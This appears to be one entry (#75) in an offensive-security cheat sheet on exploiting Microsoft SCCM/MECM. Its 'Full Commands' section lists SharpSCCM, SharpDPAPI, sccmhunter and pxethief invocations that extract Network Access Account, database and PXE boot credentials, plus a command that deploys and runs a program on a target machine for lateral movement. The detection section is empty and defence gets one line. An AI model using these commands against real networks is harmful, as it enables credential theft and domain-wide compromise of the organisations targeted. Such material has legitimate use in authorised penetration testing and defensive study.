🔷 Attack #75 — SCCM / MECM Exploitation

📖 How It Works

Microsoft Endpoint Configuration Manager (MECM/SCCM) manages software deployment, patching, and configuration across enterprise environments. SCCM servers store Network Access Account (NAA) credentials, client push installation credentials, and task sequence passwords — all recoverable by an attacker. Additionally, SCCM can be abused for lateral movement via application deployment and client push.

⚙️ Prerequisites

💻 Full Commands

# ── SharpSCCM — Enumerate SCCM ───────────────────────────────────────────────
.\SharpSCCM.exe local site-info
.\SharpSCCM.exe get site-info -mp SCCM01.corp.local

# ── Extract NAA credentials (from SCCM client) ───────────────────────────────
.\SharpSCCM.exe local naa -m wmi
# Or:
.\SharpDPAPI.exe sccm

# ── Extract credentials from SCCM database (if DB access) ────────────────────
.\SharpSCCM.exe get naa -mp SCCM01.corp.local -sc COR

# ── Lateral movement via SCCM application deployment ─────────────────────────
.\SharpSCCM.exe exec -p calc.exe -mp SCCM01 -sc COR -r TARGET
# Deploys and executes on target machine via SCCM

# ── sccmhunter (Linux) ────────────────────────────────────────────────────────
python3 sccmhunter.py find -u low_user -p 'Password1' -d corp.local -dc-ip 10.10.10.10
python3 sccmhunter.py show -u low_user -p 'Password1' -d corp.local

# ── pxethief — PXE boot media credential extraction ──────────────────────────
python3 pxethief.py 2 SCCM01.corp.local

🛡️ Detection — Event IDs

🔗 Attack Chain Context

[SCCM/MECM] ──→ Extract creds / deploy payloads across the domain
         │
         ├──→ 🔑 NAA credentials often have elevated network access
         ├──→ 💻 Task sequence passwords → local admin on deployed machines
         └──→ 💀 Defeated by: use Enhanced HTTP, remove NAA, restrict admin roles

✅ Attack #75 — SCCM/MECM Exploitation complete.